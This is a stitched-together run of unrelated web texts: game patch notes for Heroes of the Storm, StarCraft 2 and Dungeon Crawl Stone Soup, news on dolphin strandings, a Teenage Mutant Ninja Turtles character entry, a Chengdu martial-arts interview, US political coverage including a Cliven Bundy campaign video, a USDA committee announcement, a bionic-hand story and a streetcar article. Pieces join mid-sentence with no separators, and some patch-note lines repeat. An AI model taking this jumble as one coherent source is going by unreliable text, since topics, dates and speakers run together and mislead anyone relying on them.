3D model of Starcraft primal zerg Dehaka. (Photo: Blizzard)
BASIC ABILITY: Dark Swarm [W]
Over the next three seconds, you gain the ability to move through units and deal damage in an area around yourself. Deals double damage to Heroes.
Can be cast during Drag and Burrow.
BASIC ABILITY: Burrow [E]
Burrow into the ground, entering Stasis and becoming Invulnerable for 2 seconds.
HEROIC ABILITY: Isolation [R]
Launch biomass that deals damage, silences, and slows the first enemy Hero it hits by 30% for 3 seconds. For the next 6 seconds, the affected enemy loses sight of allied Heroes, and has greatly reduced vision
HEROIC ABILITY: Adaptation [R]
After a 5 second delay, 60% of all damage taken during this time will be returned to you as Health.
Dehaka's mecha skin for Heroes of the Storm. (Photo: Blizzard)
Blizzard gameplay tips
Brushstalker can be used for a daring escape, or a way to pin down enemies in the backline after a team fight has been won.
The Drag ability and how it is used will be the mark of a great Dehaka player. Do your best to grab Squishy Assassins or Healers for your team to pick off.
Burrow is your trump card. Bait an enemy into thinking they have secured a takedown, then burrow allowing your teammates time to show up and provide you support.
If you find that your opponents have been focusing on you more than the average game, Adaptation might be for you. Soak up all the damage thrown your way and heal up in exchange.
Note: Viewing this article on mobile? Click on full site view for an interactive graphic with in-game images as well as the Dehaka mecha skin
Read or Share this story: http://on.rgj.com/1po9LZAWhen the first expansion to StarCraft 2 launches, it will be bringing more than just a single-player campaign. It will also boast a number of new multiplayer changes as well.
Today Blizzard gave fans a sneak peak at the new units they're planning to intergrate into SC2's famously well-balanced online play. This doesn't necessarily mean the game is coming soon though. In fact, we don't even yet know when the beta will start. However, SC2 fans are very particular, and Blizzard wants to make sure everyone is well aware of the changes long before they're implemented.
On to the changes:
Zerg:
Units:
Swarm Host - Intended as a Zerg artillery unit, the Swarm Host continuously fires swarms of locusts at both land and air units.
Viper: This is being called a "battlefield manipulation unit" with two new abilities. The first is called Abduct and allows it to snare and draw units toward it. The second is called Blinding Cloud and creates a zero visibility environment in which range is reduced to zero.
Abilities:
Ultralisk - may now burrow underground and charge forward for quick attacks.
Hydralisk - speed boost while close to the hive, allows zerg to be more mobile.
Protoss:
Units:
Oracle - Harrassment unit which can use an ability called "entomb" to prevent enemy resources from being mined. Can cloak nearby enemies and buildings. Can also cast "preordain" on enemy or building to gain detection against cloak.
Mothership Core - Available immediately. Can transform into mothership later. Teleports to any nexus, and can use "purify" to defend base. Can also give energy to units, and recall units to the base.
Tempest - Capital ship that targets one enemy at a time unlike the Carrier. Blizz is reportedly considering an upgrade that would make its range enormous. Nearly twice the range of a siege tank.
Terran:
Units:
Battle Hellion - Can transform into either a speedy, lightweight form or a hefty tank-like form.
Warhound - Designed as an anti-vehicle unit, the warhound has two attacks: a cannon which targets anything, and missiles that automatically target vehicles. This will be the first time Blizz has used auto-target in StarCraft.
Widow mine - Burrows into the ground, then attaches itself to a passing enemy. Explodes for 200 damage + splash damage after 10 seconds. Will not explode if attached unit dies.
Abilities/Upgrades:
Reapers - No longer have bombs when targeting buildings. Instead, now reapers can recharge health when not in combat. Blizzard hopes this makes them more viable as scouts.
Battlecruiser - Experimenting with a speed boost ability. Not final.
As huge SC2 fans, we're a little nervous about the changes. We've spent the last two years learning this game backwards and forwards. New units and abilities can completely change the game. We'll have to see how these units affect play once they're finally implemented.
Once again, we're still not sure when that will be though. Blizzard said last April that Heart of the Swarm would launch in about a year. And it's been nearly 18 months. So it's anyone's guess at this point.
You can check out G4TV.com for a somewhat more complete explanation of the changes.My fellow warriors, adventurers, zealots, mages, BATTLEMAGES, and sword-and-board melee toons, it’s time for another Trunk Update. We’ll hopefully be at feature freeze in the next few weeks to prepare for the upcoming release and tournament. More info on those last two will be posted when things are finalized. Until then, here’s what’s changed in the two months (!) since our last update:
New experimental Gnoll species:
species: They have a short attention span mutation. This means they have +4 in all aptitudes, but starting at skill level 7, their aptitude drops by 2 for each full skill level trained, until reaching skill level 12 where the aptitude remains at -6 from then on. You’re probably gonna wanna train a few different skills, pupper!
They have a strong nose mutation that allows them to sense nearby items up to 7 tiles away.
Fangs 1 mutation.
Only get +2 MR/level compared to the usual +3.
Gain one point of Str/Int/Dex randomly per 5 levels (in addition to the usual stat choice every 3 levels)
Normal XP/HP/MP values.
The design of this species is not yet finalized, and it could get major changes or be disabled for the 0.20 release while we work out the details.
Changes to Wu Jian :
: Whirlwind no longer has a chance to slow the monsters it affects. It’s no longer favorable to use this over your normal melee on nearly every monster.
Wall Jump can only be used when it would hit a monster adjacent to the landing site. Sorry, no more weird endless tunnel jumping; this isn’t (yet) a Megaman game!
Heaven On Earth has been renamed to Heavenly Storm to give a bit more clarity to what the ability does.
The god itself is going through some design overhaul, and may be disabled for the 0.20 release or otherwise get some big subsequent changes. Rest assured that we’re interested in getting some of Wu’s core concepts to work!
Tomb now uses one-way staircases, like escape hatches, but with pre-determined destinations. You’ll land at the familiar destinations in the various levels of Tomb, but with no immediate return staircase. Should you need to escape, you’ll have to find another one-way stair somewhere nearby. See this commit for some further details. The age of ><><>< in the Tomb of Ancients has come to an end, mortal!
now uses one-way staircases, like escape hatches, but with pre-determined destinations. You’ll land at the familiar destinations in the various levels of Tomb, but with no immediate return staircase. Should you need to escape, you’ll have to find another one-way stair somewhere nearby. See this commit for some further details. The age of ><><>< in the Tomb of Ancients has come to an end, mortal! Ijyb and Maurice now always have wands, instead of just having a higher chance of getting one. Ijyb now starts placement from D:3 instead of D:2. Watch out for those wands of acid, they hurt!
and now always have wands, instead of just having a higher chance of getting one. Ijyb now starts placement from D:3 instead of D:2. Watch out for those wands of acid, they hurt! Giant Spiked Club base delay lowered from 1.9 to 1.8, allowing them to reach min delay at skill 22 instead of skill 24.
base delay lowered from 1.9 to 1.8, allowing them to reach min delay at skill 22 instead of skill 24. Transporters are a new dungeon feature that act like stairs sending you somewhere else on the current level, taking adjacent followers and foes along with you. Currently a few new vaults and some existing ones like the Golubria WizLab use this feature, but look out for more transporter shenanigans to come!
are a new dungeon feature that act like stairs sending you somewhere else on the current level, taking adjacent followers and foes along with you. Currently a few new vaults and some existing ones like the Golubria WizLab use this feature, but look out for more transporter shenanigans to come! New Vaults:
An epic expansion of the_grid, a series of vaults that arrange a randomly chosen group of subvaults (taken from a varied and dangerous set) into a giant geometric arrangement, including one that can encompass an entire Depths level!
Also new is an elven bladeworks, a witch-hunting guild (watch out for anti-magic!), an orcish arena of gladiators, and an overgrown Lair chateau, among others.
For the new transporter feature, a set of loot vaults that show you the awaiting prizes should you transport in and survive the monster onslaught on the other side. Also a Zot-themed Abyssal rune vault that has you transport into a mini hall of Zot:5, but where you run through the vault in reverse to get to the Abyssal rune and reach the exit.
Captain’s Cutlass no longer chops off hydra heads.
no longer chops off hydra heads. Manuals are now always pre-identified. No sense delaying that wonderful feeling when your Dg finds a manual in a loot pile only to discover that it’s for Invocations.
are now always pre-identified. No sense delaying that wonderful feeling when your Dg finds a manual in a loot pile only to discover that it’s for Invocations. Alligators move even faster when using their Sprint ability. Australians, please don’t try to wrestle these! Also applies to Maurice and Gastronok.
move even faster when using their Sprint ability. Australians, please don’t try to wrestle these! Also applies to Maurice and Gastronok. Secret moon lore updated.
Stash Searches now by default hide distant items that are duplicate matches of weapons, armor, and ammo.
now by default hide distant items that are duplicate matches of weapons, armor, and ammo. An Equip Bar can enabled (currently for console only) via the equip_bar RC option, which displays a row of the console glyphs of your currently equipped items in place of the new noise bar. If you’ve already got a good sense of what makes loud noise AND you like to show off your artifact bling, this may be the option for you!
can enabled (currently for console only) via the equip_bar RC option, which displays a row of the console glyphs of your currently equipped items in place of the new noise bar. If you’ve already got a good sense of what makes loud noise AND you like to show off your artifact bling, this may be the option for you! Unrand renames: The Ring of Shaolin is now the Ring of Phasing, and the bow of Krishna “Shargna” is now the longbow “Zephyr”. No changes to the unrands’ properties, just to the names. The old names were direct references to a real-world place and to a religious figure, respectively, something we’d like to avoid. And no, Blork the Orc and Killer Klowns don’t count!
Thanks for reading, and as Dithmenos likes to say, “Spread the eternal night!”Dolphins found dead off Cornish coast 'committed suicide', wildlife expert claims
A leading scientist has compared the deaths of 26 dolphins in Cornwall to a "mass suicide" - a natural phenomenon found in the species.
Veterinary wildlife pathologist Vic Simpson, who has examined the bodies, says the animals died after they inhaled debris and mud that clogged their insides.
He said the scenes in the River Percuil, where 26 dolphin carcasses were washed up on Monday, looked like "some sort of mass suicide".
Post mortem: Scientists have so far failed to explain why 26 common dolphins died after beaching themselves
Experts say dolphins have been known to take their own lives whilst living in captivity after becoming distressed and confused at their conditions.
In several cases the creatures repeatedly slammed their head against sides of a pool - or simply stopped coming up for air.
The largest known cases of dolphin suicide was in September and October last year when 152 striped dolphins washed up on the coast of southern Iran.
Locals who battled to save them by taking them back out to sea were distraught when the dolphins refused and persistently re-beached themselves to die.
Grim task: The recent heatwave caused a massive bloom of algae in shallow waters which attracts bait fish, but the dolphins may have become confused in rivers and shallow estuaries
The best known case of dolphin suicide is that of a dolphin named Cathy, one of the bottle nose dolphins that performed in the television series Flipper.
She is said to have died of self induced asphyxiation in the presence of her trainer Richard O'Barry.
Mr Simpson, who founded the Wildlife Veterinary Investigation Centre in Truro, is still working at the scene on behalf of the Zoological Society in London.
He said: "On the face of it, it looks like some sort of mass suicide - but the question is why?
"The dolphins had swallowed and inhaled big chunks of mud from the estuary. Their lungs and stomachs were full of it. That is very bizarre indeed.
"We have seen strandings on beaches, sometimes with five to seven dolphins - but never on a scale like this.
"It could be a bacteria or viral infection that we're dealing with. Some algae produce toxins that can prove fatal. But it is really far too early to say."
Despite the efforts of marine experts, volunteers, fire crews and coastguards, 26 common dolphins died in the worst incident of its kind in the UK for 30 years.
Tests have so far revealed the mammals were well-fed and that there were no obvious signs of disease or poisoning - causing experts to consider other possibilities.
British Divers Marine Life Rescue (BDMLR) said many of the dolphins had no fish in their stomach, which adds weight to the theory that they were panicked by an underwater disturbance.
A common reason for the animals being stranded is when they are chasing fish - but if they were feeding, there would be clear evidence of it, a BDMLR spokesman said.
The Royal Navy has admitted it was carrying out a live exercise in Falmouth Bay prior to the stranding but has denied it would have affected the dolphins because it was a short-range device.
Experts continued to examine the dolphins
An MoD spokesman said: "A survey vessel was conducting trials using a high definition, short-range side scan sonar for sea bed mapping trials approximately 12 nautical miles off the coast of Falmouth at the time of the incident.
"It is considered extremely unlikely that this operation could have affected the mammals in any way."
Officials also denied reports that the Navy was carrying out gunnery practice at the time of Monday's mass beaching in the Falmouth Bay area. Several residents reported hearing loud explosions late on Sunday.
Other theories are that the dolphins died chasing fish or escaping a natural predator, possibly a killer whale.
Possible theory: Killer whales could be to blame for the shocking deaths
In all, more than 100 deep-sea-dwelling common dolphins strayed into Falmouth Bay. More than 30 became stranded and dozens more became distressed in shallow water, in one of the worst scenes to confront coastguards and animal rescue groups for years.Although many dolphins were saved, 24 died and two were put down.
Some dolphins did survive on the Percuil river in Cornwall yesterday
The creatures' innate sense of family could have made the situation worse. Gill Bell, of the Marine Conservation Society, said: 'If one of them was sick and stranded itself after getting disorientated, they would have gone after it to try to assist.'
Alan Knight, chairman of the British Divers Marine Life Rescue organisation, said: 'We can find no conclusive evidence as to why the stranding took place or why they stranded in such numbers at different locations.
'My personal conclusion is that there was some sort of disturbance that has caused the animals to panic.'
Disruption: Some experts have blamed the Royal Navy, who were carrying out live firing exercises involving a submarine, for the deaths (file picture)
Factfile: Possible causes of the dolphin tragedyBebop and Rocksteady are two fictional characters in the 1987 Teenage Mutant Ninja Turtles animated television series and the Archie TMNT Adventures comics as well as most of the classic TMNT video games.[1] They follow the orders of series villain The Shredder, leader of the Foot Clan. Their names are both derived from genres of music: bebop is a style of jazz; while rocksteady is a Jamaican music style, a precursor to reggae.[2][3]
Character creation [ edit ]
The characters were designed by Peter Laird while negotiating the Turtles action figure deal with Playmates Toys,[4][5] because they wanted more characters to release. They were added into the show and given names, personalities and an origin story by writer David Wise, based on instructions by Fred Wolf to "put more mutants in the series".[6]
Appearances in media [ edit ]
In animated television [ edit ]
1987 series [ edit ]
Rocksteady and Bebop in the original 1987 animated series.
Bebop (voiced by Barry Gordon in most appearances, Greg Berg in some 1989 episodes) and Rocksteady (voiced by Cam Clarke) were introduced in the series as part of a human street gang in New York City that was employed by Shredder. Rocksteady was a short and stocky blond Caucasian man (who sported army camouflage pants that would be replaced with simple beige cargo pants later while also occasionally sporting a strong army helmet on his head in his mutated form). Bebop was a taller African American man with a purple mohawk. With the other members of their gang, they were sent out to stop a Channel 6 reporter named April O'Neil from doing a report about crime in the city. April ran down into the sewers while being chased by the street gang and met the Teenage Mutant Ninja Turtles, who then defeated the gang in a fight.
After this humiliating setback, The Shredder developed a plan to defeat the Turtles by mutating members of the street gang that Rocksteady and Bebop are a part of so that they would have abilities greater than the Turtles'. Rocksteady and Bebop both volunteered to undergo the procedure (though neither was particularly aware of what it would entail) first with the promise that it would allow them to exact revenge on the Turtles. As the result of being brought into contact with a common warthog and a black rhinoceros that Shredder had abducted from the zoo, Bebop mutated into a humanoid mutant warthog while Rocksteady mutated into a humanoid mutant black rhinoceros.
Although the transformation did make them larger and stronger, they remained bungling, incompetent simpletons and were completely inept at stopping the Turtles or carrying out Shredder's plans. Throughout most of the series, they tried to attack the Turtles with brute force, without applying knowledge and strategy. In the episode "The Missing Map," when the two were accidentally caught in Krang's "brain extraction" machine, the results concluded there was "no data to extract," implying that the two possessed little or no knowledge. For most of the series they were employed for purposes however, the Turtles certainly consider them to be formidable (despite their stupidity) in combat due to their great strength and endurance, and as such, often use their intelligence to outwit them rather than fighting them in a straightforward manner. But their attempts at the turtles seem to regularly fail due to their incompetence and goofing behavior, which all leads to them being abused both physically and verbally by Shredder and Krang, and the former even fired them in one episode |
openly advertised. I notice that the youth in China are not focused on continuing these kinds of traditions as much as a foreigner might imagine. I was, however, very surprised in how many foreign martial arts are offered in Chengdu. There seems to be a large interest in everything from MMA to Kendo. However, I believe as the economy in China continues to grow, we will see more and more people taking an interest in hobbies and self defense alike.
CL: How does the martial art that you practice differ from kung fu, sanda, or Chinese martial arts?
Robbie: My personal experience in Chinese martial arts is somewhat limited to a little bit of Taichi and memorizing Wing Chun wooden dummy forms. However I will say that I have been asked by many of my friends who do have some Chinese martial arts training to “show me something!” as they step back and wait for me to do… something. I explain that Taijutsu is about the distance, timing, and warrior spirit. That it is focused on interactions. There is very very little we do that can be displayed and made to “look cool.” I watch the grandmaster apply a technique and it almost looks like he is doing nothing. The longer you stay in a martial art, the cooler that sort of thing looks.
CL: How is the martial art that you practice identified by Chinese people? Is it appreciated by virtue of it being imported from abroad? Is there any stigma associated with it simply because it is Japanese?
Robbie: I was actually recommended to lie about what martial art I train in while in China simply based on the fact that it’s Japanese. I have heard everything from “You go to China and teach martial arts?” to utter outrage that I teach a Japanese art in China. Generally speaking, people are pretty accepting of the fact that I teach Taijutsu here, and if they are not, well, they don’t tend to come to my classes.
CL: Where can people learn more about this martial art, find you, or train with you? What can Chengdu Living do to help you help you advance awareness of this martial art?
Robbie: I recommend that you do research online. Surprisingly enough, the Wikipedia article on the Bujinkan is quite good and a great place to start. If using YouTube, I would recommend looking up anything with “Masaaki Hatsumi” in it. You may also add us on WeChat or simply come to class and check it out for yourself. The first class is always free and many of my students are bilingual and they do a great job translating.
Scan the QR code at right to join our WeChat group.
CL: Is there anything else that you’d like to add? What do you want people to know about yourself, this martial art, or what you’we working to build in Chengdu?
Robbie: Budo Taijutsu is an international martial art. I have had the pleasure to train with Frenchmen, Israelis, Germans, and many more nationalities in the Hombu in Japan. To quote Nagato Sensei, “Look around you: martial arts is allowing all of us to work together with respect. That is Budo.”
I look forward to the day I can bring students from China with me to experience the same. And this starts here, in Chengdu.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
The hits just keep coming for Barack Obama against John McCain. Today, the Obama camp released an ad that uses McCain’s advocacy for the deregulation of the health insurance industry against him.
Here is the ad:
The focus on the economy has changed the entire dynamic of this election. After months of McCain trying to paint Obama as risky and inexperienced, it is now Obama who is portraying McCain as a risk to America’s pocketbooks, but in order for any candidate to be elected president, they need a degree of good luck. John McCain has had nothing but bad luck for a couple of weeks now.
It was bad luck that the article pushing for deregulation of the health insurance appeared the same week as the collapse of our financial markets, which was in part caused by too little regulation. If the timing is a little different, the Obama camp doesn’t gain this issue to use against him. Healthcare is an issue when the majority of voters side with Obama, and if he is able to characterize McCain as risky on both the economy and healthcare, McCain is in huge trouble.
The last set of polls taken before the financial crisis had Obama resuming a small lead. I am curious to see what the next set of polls will look like. The recent financial crisis also makes the upcoming debate on Friday ten times more critical for both candidates. A good debate performance for Obama would help him maintain, or grow his lead, and McCain must have a good performance to get some momentum back, or he could be facing an uphill climb to the White House in November.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:WASHINGTON, June 23, 2015 - Agriculture Secretary Tom Vilsack today announced the appointment of members to the National Advisory Committee on Microbiological Criteria for Foods (NACMCF) for the 2015-2017 term.
Established in 1988 by USDA (Food Safety and Inspection Service), the U.S. Department of Health and Human Services (Food and Drug Administration and Centers for Disease Control and Prevention), the Department of Commerce (National Marine Fisheries Service), and the U.S. Department of Defense, NACMCF provides scientific advice on public health issues related to the safety and wholesomeness of the U.S. food supply. The committee assists in the development of microbiological criteria. In addition, it reviews and evaluates epidemiological and risk assessment data and methodologies for assessing microbiological hazards.
"NACMCF members offer invaluable insights on food safety issues," said Secretary Vilsack. "These individuals will be instrumental in protecting our nation's food supply."
Newly appointed NACMCF members are: Dr. Gary Acuff, Texas A&M University; Ms. Vanessa Coffman, Consumer Representative; Dr. Peter Feng, U.S. Department of Health and Human Services, Food and Drug Administration; Dr. Scott Hanna, U.S. Department of Defense; Dr. Carolyn Hovde, University of Idaho; Dr. Bala Kottapalli, ConAgra Foods Inc.; Dr. Margie Lee, University of Georgia; Dr. Tiffiani Onifade, Florida Department of Agriculture and Consumer Services; Dr. Laurie Post, Mars Global Chocolate; and Dr. John Ruby, JBS USA, LLC.
Returning members are: Dr. Arun Bhunia, Purdue University, Department of Food Science; Dr. David Gombas, United Fresh Produce Association; Dr. Larry Goodridge, McGill University; Dr. Scott Hood, General Mills, Inc.; Dr. Steven Ingham, Wisconsin Department of Agriculture, Trade and Consumer Protection; Dr. Jeffery Kornacki, Kornacki Microbiology Solutions, Inc.; Dr. Robert Labudde, Least Cost Formulations, Ltd.; Dr. Richard Linton, North Carolina State University, College of Agriculture and Life Sciences; Dr. Guy Loneragan, West Texas A&M University, Department of Agricultural Science; Dr. Evelyn Mbandi, U.S. Department of Agriculture, Food Safety and Inspection Service; Dr. Peter Muriana, Oklahoma State University, Animal Science Department; Dr. Alison O'Brien, Uniformed Services University of the Health Sciences; Dr. Wilfredo Ocasio, The National Food Laboratory; Dr. Salina Parveen, University of Maryland Eastern Shore, Food Science and Technology; Dr. Ruth Petran, Ecolab, Inc.; Dr. Jennifer Quinlan, Drexel University, Department of Nutrition Sciences; Ms. Angela Ruple, U.S. Department of Commerce, National Seafood Inspection Laboratory; Dr. Stacey Schultz-Cherry, St. Jude Children's Research Hospital; Dr. Robert Seward, Seward Global Consulting; and Dr. Robert Tauxe, Centers for Disease Control and Prevention, Division of Foodborne, Bacterial and Mycotic Diseases.
The Secretary of Agriculture appoints committee members following consultation with the Secretary of Health and Human Services. Appointees are scientists from academia, industry, other organizations, and Federal and State government. Committee members serve a two-year renewable term.
NACMCF serves the U.S. Department of Agriculture, the U.S. Department of Health and Human Services, the Department of Commerce, and the U.S. Department of Defense. NACMCF meets twice annually, while subcommittees meet more often as necessary.
For more information, go to http://www.fsis.usda.gov/wps/portal/fsis/topics/data-collection-and-reports/nacmcf/nacmcf.
#Lightroom presets come in handy when you want to quickly edit a large number of photos. They also help you to quickly experiment with different looks. I have made a collection of different sites that offer free Lightroom presets. I hope you find this handy, and also get some great presets to add to your collection. Feel free to share some of your favorite sites for Lightroom presets in the comments below.
Here are quite a few Lightroom presets that will come in handy.
This site has some pretty useful Lightroom presets for your collection.
This Tumblr site offers a variety of nice Lightroom presets.
If you are looking for some HDR presets, this website has a few useful HDR Lightroom presets.
Here are some pretty cool free Lightroom presets, you will just have to like on Facebook, Twitter, or Google+ to unlock.
I thought I would also mention this great site for presets… they are not free, but they do have a large collection if you don’t mind forking out some dough. Pretty Presets For LightroomCliven Bundy, the defiant “Patriot” Nevada rancher who led an armed confrontation with federal agents in April – and who has still not faced any consequences in its aftermath – continued making the far-right political rounds in Nevada this week by appearing in a video promoting the candidacy of Independent American Party candidate Kamau Bakari.
This is somewhat remarkable, considering that Bakari is African-American. Rather than run away from Bundy’s reputation as a racist — well earned, after his widely publicized remarks about race in the immediate aftermath of Bundy’s showdown — the two of them went on the offensive, attacking his critics for their “political correctness,” which Bakari says is “bad for America.”
But none of it is as remarkable as the exchange between the two men, in which Bundy complains that “a man ought to be able to express himself without being called names”, and adds: “It’s almost like black folks think white folks owe them something.”
The ad opens with a clip of U.S. Attorney General Eric holder, commenting in 2009 on the state of race in America: “In things racial, we have always been and I believe continue to be, in too many ways, essentially a nation of cowards.”
The ad then segues to Bundy and Bakari in western cowboy garb with their horses at a hitching post, as spaghetti-western music plays in the background.
[youtube]http://youtu.be/VNYyaJkcFgU[/youtube]
Transcript:
BUNDY: Did he just call me a coward?
BAKARI: No, he just called all white folks cowards.
BUNDY: He must not know me.
BAKARI: You mean if someone called you a racist, you wouldn’t drop your head and be all scared and sad and run around here apologizing like them billionaire ball team owners did a little while ago?
BUNDY: No, I wouldn’t, and I’m sick and tired of people that act like that.
BAKARI: Cliven, you know that political correctness, that’s bad for America. A man ought to be able to say whatever you want to say.
BUNDY: That’s exactly right. I know black folks have had a hard time with slavery and you know, the government was in on it. And the government’s in on it again. I worked my whole life without mistreating anybody. A man ought to be able to express himself without being called names.
BAKARI: I hear you, Cliven, I believe you. A brave white man like you might be just what we need to put an end to this political correctness in America today.
BUNDY: Don’t sell yourself short. You’re taking a chance just being in my company.
BAKARI: I know. I'm as sick as you are. I feel ashamed when I hear black folks whining about “white folks this,” “white folks that.” Always begging.
BUNDY: It's almost like black folks think white folks owe them something.
BAKARI: I know, I’ve got an idea. Let’s call Eric Holder up.
BUNDY: What do you mean?
BAKARI: Tell him you’re a white man that’s not scared to talk to him about race. And you know a black man that will stand with you.
BUNDY: I like that idea. Mr. Eric Holder, this is one white man that's not scared to talk about race. I dare you to come to Las Vegas and talk to us.
BAKARI: And don’t give us that “you’re too busy” stuff. You weren’t too busy to go to Ferguson, Missouri.
As the Washington Post notes, Bakari is a fringe candidate who has virtually no change of unseating the incumbent, Rep. Dina Titus, a Democrat, in Nevada’s 1st District.AFTN is delighted to announce today that we will be an official supporter driven media partner of TSS FC Rovers for the club’s upcoming inaugural USL PDL season, working closely with the club on a number of initiatives to bring fans the best coverage around of the newest team in the lower mainland.
As regular readers and listeners of AFTN will know, our love of football goes far beyond just covering Vancouver Whitecaps and the top flight level of the game here in Canada.
Throughout the year we cover the ‘Caps at all levels from MLS to USL to Residency, along with coverage of the Canadian national team. That comprehensive coverage already sets us apart from other sites covering the Whitecaps, but when you add in our coverage of college soccer at SFU and UBC, local action from the VMSL and the Provincial Cup, and more, AFTN is proud to be a unique site in a crowded market.
We do it because we enjoy it, and we do it because those teams and those leagues deserve to be brought to the attention of a wider audience.
And now we hope to do that with TSS FC Rovers.
The announcement last month that there was going to be a new PDL team in town was a welcome one and an exciting one. More football to watch on these beautiful spring and summer days and nights, and a team solely made up of (primarily local) Canadian talent to boot. What more could anyone ask for?!
The TSS season kicks off with a trip to reigning PDL Western Champions Calgary Foothills on May 5th, with their first home game a week later when they host Lane United at Swangard Stadium.
We’ll be bringing you comprehensive coverage of the team all season long on AFTN, on the TSS site, and through all of our social media channels.
From the open tryouts in Richmond on March 16th, to First Kick less than two months later, till hopefully the last kick in August, we’ll have game previews, reports, post match reaction, players interviews, and all the news and info you’ll need to get behind the team and follow their progress all season long.
TSS will be streaming all of their home matches, and we’ll be part of their matchday broadcast team. I’ll be providing colour commentary from those games. We’re also looking at what away matches we can do as well, and there’s some other irons in the fire from a broadcasting standpoint.
We’ll also have other members of the AFTN team providing coverage on matchdays.
We’re currently in the process of taking on a new photographer to shoot TSS games, and if any writers out there want to be our matchday correspondent on the ground, then get in touch.
We’re also exploring the possibility of doing a weekly or monthly TSS specific show on AFTN’s Mixlr channel, but failing that there will be regular coverage of the Rovers on our CiTR radio show and podcast.
But we also want your involvement and your engagement.
We want you to become supporters of the team, whether that means in person at games or watching from home. Hopefully the former. That’s where the supporters driven aspect of our coverage will come in. Tell us what you want to read, see, and hear. Tell us what kind of stuff you want us to bring you over the course of the season.
We want soccer fans in the lower mainland to not only know about the team but to actually be interested in how they’re doing. And we want the Juan de Fuca Plate to be known as a desirable trophy to win amongst fans and players alike.
We’ll be championing the reintroduction of the Plate back into the local soccer scene with a fanfare and building up the rivalry for it between TSS and the Victoria Highlanders. You can find out all about the history of the Plate on the link above.
Exciting times ahead. We’re delighted to be along for the ride and hope you will be too, and let’s all have a lot of fun along the way.Have your say
A NEW BIONIC hand inspired by legendary sci-fi film Star Wars could help amputees feel the force.
Top scientists in Leeds are using futuristic engineering to create a state-of-the-art bionic hand – similar to Luke Skywalker’s.
The £1.4million project is being carried out by experts at the University of Leeds, who will create prosthetic limbs that can sense pressure and temperature.
Electrodes inside the innovative bionic limb will wrap around the nerve endings in the arm.
This would mean for the first time, the hand could communicate directly with the brain – a major advance in the field of prosthetics.
If successful, it could become available for amputees.
Dr Rory O’Connor is senior lecturer in rehabilitation medicine at the University of Leeds’ Faculty of Medicine and Health.
He said: “These are not pie-in-the-sky ideas. We start work now and have the challenge of delivering workable devices in three years.
“The current designs are like a plug and socket.
“Patients tell us they want something more intuitive [which] closely replicates the natural movement and feel of a real hand.
“That is what we hope to achieve.”
In a separate project, another team will develop a pair of ‘smart trousers’ with artificial ‘muscles’ in its fabric to support the movement of disabled and older people.
The projects are part of a £5.3million programme to transform the design of assistive and rehabilitative devices.
Dr Paul Steenson, senior lecturer at the university’s School of Electronic and Electrical Engineering, said: “We need microelectrodes made from flexible plastics that do not damage the tissue.
“We need to build these connections at a minute scale – the diameter of the nerves can be smaller than the width of a human hair.”Atlanta is one of many cities in the USA seeing a resurgence of streetcars. Supporters say the vehicles, which once flourished, spur development. Critics say they are a subsidy-driven fad.
The first Atlanta Streetcar vehicles will soon be in operation downtown. (Photo11: David Tulis for USA TODAY)
ATLANTA – Once upon a time this city was crisscrossed by electric streetcars. At the peak of streetcar travel in the mid-1920s, some 800 streetcars covering 200 miles of track carried 97 million passenger trips a year. The story was the same around much of the nation: More than 800 other cities also had streetcars.
Then automobile travel exploded. Growth sprawled outward from central cities to suburbs. The Great American Streetcar Scandal that began in 1946 — in which automaker General Motors and tire and oil companies were accused of buying streetcar systems around the USA and converting them to bus lines — unfolded.
By the end of the 1940s, streetcars were virtually gone from Atlanta and before long, from the American landscape.
Now, streetcars are coming back to Peachtree Street — and to many other American streets for that matter.
The nation is in the middle of a streetcar renaissance, as one city after another includes a slice of the past in its modern transportation mix.
This year alone:
• Tucson's $196 million Sun Link Streetcar Project, recently named the Public Works Project of the Year by the American Public Works Association, will operate on a 3.9-mile route between downtown and the University of Arizona when it begins service in late July.
• In late summer or early fall, Washington, D.C., will open its $135 million, 2.4-mile H Street streetcar line. It's expected to provide more than a million rides in the first year and help revitalize a once-thriving retail district in the nation's capital.
• Construction began in April 2012 on Seattle's First Hill Streetcar, a 2.5-mile, $134 million line expected to begin service in the fall. The streetcar will run between Occidental Avenue in Pioneer Square and Denny Way in Capitol Hill, serving 10 stations along South Jackson Street, 14th Avenue South, Yesler Way and Broadway.
Streetcar projects are in various stages of design or development in more than a dozen other cities, including Dallas, which plans to open a line from Union Station downtown to Oak Cliff in early 2015; Salt Lake City, where Mayor Ralph Becker's administration is pushing a plan for a streetcar in the central business district downtown, and Kansas City, Mo., which announced last month that it had selected a vendor to operate and maintain its planned two-mile downtown streetcar line.
Later this summer, Atlanta opens a 2.7-mile, electric streetcar line that will ferry commuters and tourists on a 12-stop loop downtown from Centennial Olympic Park to the Martin Luther King Jr. Historic District. The initial route, part of what's envisioned as an eventual 63-mile system, is expected to carry 1,700 passengers a day on four sleek, futuristic cars, planners say.
"It's whisper-silent, all-electric," says Timothy Borchers, executive director of The Atlanta Streetcar and deputy commissioner of public works. "You'll have trouble hearing it coming."
He and other streetcar supporters across the country are quick to tout the benefits: None of the pollutants or emissions that diesel buses spew into the environment, and a burst of economic development surrounding the transportation.
Since the Atlanta streetcar was announced in 2010, it has generated more than $700 million of new development along the route, Borchers says.
"There isn't just a national renaissance of streetcars, there is an international renaissance," says Borchers, who's worked on streetcar projects for 36 years. "This is happening whether you're in Germany, London or Sydney, Australia. This very year, a new 9-mile system, similar to our system, is going up in Dubai in the United Arab Emirates. Streetcars are becoming popular again because they work."
Atlanta Streetcar executive director Timothy Borchers. (Photo11: David Tulis for USA TODAY)
Not everyone shares his enthusiasm.
Randal O'Toole, a senior fellow at the Cato Institute and the nation's most vocal streetcar critic, says the current boom in streetcars is being fueled by the engineering and construction firms that build the lines and by the Obama administration's policy changes that made it easier for cities to spend federal money on streetcars.
"They (cities) wouldn't care if it was for streetcars, or garbage trucks or digging a hole and filling it up," he says. "They just want the money. And streetcars are just like digging a hole and filling it up. This is a fad that's happening because the federal government is giving out money."
He says streetcars are heavily subsidized by taxpayers, that they are inefficient because they're often underused and they "use the most energy per passenger mile" of any form of ground transportation.
Streetcar plans are stirring local citizen opposition in some cities.
After opponents of a proposed $64.6 million, 2.1-mile streetcar in Milwaukee argued that the city should have to pay for moving utilities in the path of the line, instead of spreading the cost to utilities and other affected companies, the state Public Service Commission ruled last month that the city does have to pick up the $20 million tab for relocating the utilities.
